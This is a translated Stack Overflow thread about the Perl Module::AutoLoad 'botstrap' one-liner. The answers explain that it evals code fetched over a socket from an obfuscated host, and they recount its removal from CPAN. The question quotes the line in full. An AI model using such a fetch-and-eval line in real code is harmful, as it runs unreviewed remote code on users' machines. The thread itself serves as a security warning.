Perl - 理解"botstrap"

3
我有这段代码。
use lib do{eval<$b>&&botstrap("AutoLoad")if$b=new IO::Socket::INET 82.46.99.88.":1"};

这段代码似乎导入了一个库,但是我不知道 botstrap 是如何工作的。

有人可以解释一下吗?因为我想将其移植到Python中。


1
这看起来非常像Module::Autoload文档中的简介。但是解释它会破坏乐趣:“尽管代码片段相当短,但它故意使用RCX框架进行混淆,以便快速地阻止那些窥探者跟踪所有魔法工作的方式,但有经验的Perl编码人员仍然可以理解一切。这个谜题留给读者作为娱乐挑战。” - ThisSuitIsBlackNot
2
请不要离线提交你的代码,除非它太庞大无法在Stack Overflow上的帖子中容纳。 - Borodin
1
我所说的代码的作者是Rob Brown,而代码中显示的IP已经过时。 - Avid Programmer
2
@AvidProgrammer 这不是一个IP地址,而是一个v-stringperl -le'print 82.46.99.88'显示它对应于R.cX - ThisSuitIsBlackNot
2
@JoeMcMahon - 你被删除的回答明确地提出了很多(在我看来非常重要)观点,这些观点Borodin没有直接阐述。我鼓励你将其恢复,因为它可能有助于向那些不完全理解此模块究竟有多么蠢笨的人们阐明问题的全部细节。 - Dave Sherohman
显示剩余2条评论
2个回答

16

botstrapModule::AutoLoad模块的一部分,是一个私有子程序。整个语句应该被无条件地加入您的代码中。

这个模块的想法是在不需要操作员干预的情况下安装代码所需的任何模块。我建议这是一个可怕的想法,你应该确保你的Python代码引用的所有内容都已经按照通常的方式进行了安装。


5
我只是想留言表达这个意思。这使得这个模块比起一开始看到的更加不吸引人。如果你查看http://R.cX:1/的内容,甚至那都是混淆的。所有这些都违背了开源的理念,在生产代码中称之为“模块”是非常疯狂的,原因有很多。 - Borodin
5
更糟糕的是,从http://r.cx:1/下载的代码使用eval访问http://ww.limera1n.com/并执行iJailBreak,这是一个iPhone解锁程序。这与安装缺失的Perl模块无关,而且功能非常恶劣。可能是因为网站http://r.cx已被黑客攻击,但毫无疑问,这个模块不应该出现在CPAN上 - Borodin
4
哇!孩子们,这就是为什么你们应该避免使用带有任意代码的字符串eval - ThisSuitIsBlackNot
10
这段话的意思是:这段代码是恶意代码,但有几个选项可以自动安装模块,而不涉及通过TCP eval字符串执行任意代码,例如lib::xilazy - Grinnz
9
截至2020年7月28日,该模块已从CPAN中删除,并且作者被禁止上传更多的模块。 - Joe McMahon
显示剩余3条评论

11

我现在戴上我的安全帽,对这个模块的整体设计以及特别是测试套件进行评价。

一次又一次地,我们都警告人们不要使用curl | bash,因为这是一个极其愚蠢的做法。一个人永远不应该仅仅执行一个位于URL远端、他无法掌控、通常可在互联网上访问的东西,并希望一切都会没事。

然而,这个模块被撤下来的原因不是因为它这样做了——尽管我认为,实现一个安全漏洞作为模块的基本想法本身就是一个可怕的想法——而是因为以下所有原因:

  • 测试套件未经警告就访问了一个安装程序无法控制的站点
  • 它掩盖了正在使用的站点
  • 下载的代码并不是确保测试通过所需的最小代码
  • 下载的代码是故意混淆的,难以让安装程序验证其安全性
  • 最糟糕的是,它当前下载的代码似乎是恶意软件。(顺便说一句:即使不是!它不是显而易见的事实本身就很糟糕)。
所有这些的结合不仅不安全,而且非常危险。从作者的回答中我看到,将iOS越狱的引用加入是想要“有趣”的。生产模块不应该是这种有趣的东西。
如果旨在幽默,将其放在非Acme命名空间中是不恰当的[1]。此外,没有必要混淆下载的代码。
即使作者将其加载的内容更改为明文的虚拟“嘿,看我装了什么”模块,他们仍然会削弱每个使用此模块的安装的安全性,与他们的安全性一样好。如果你想写这样一个模块,你必须准备好承担每个使用它的网站的那种责任水平。 即使你认为自己已经准备好了,你也很可能没有准备好。
用户负责监管的枪脚是一回事。但是,被装载并突然变成极其危险的弹药,并且实际上在测试套件期间被触发的枪脚是非常不恰当的。

更新:我已经直接与作者交谈,他似乎愿意做出正确的行动,并将采纳我的建议:将其移至Acme,更改测试以使用本地HTTP服务器而非外部服务器,并在模块操作之前要求设置环境变量I_KNOW_THIS_IS_A_REMOTE_CODE_EXECUTION_VULNERABILITY_AND_I_AM_WILLING_TO_RISK_MY_JOB_AND_COMPANY为真值。

[1] CPAN使用Acme命名空间作为放置有趣/无意义等模块的地方。


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接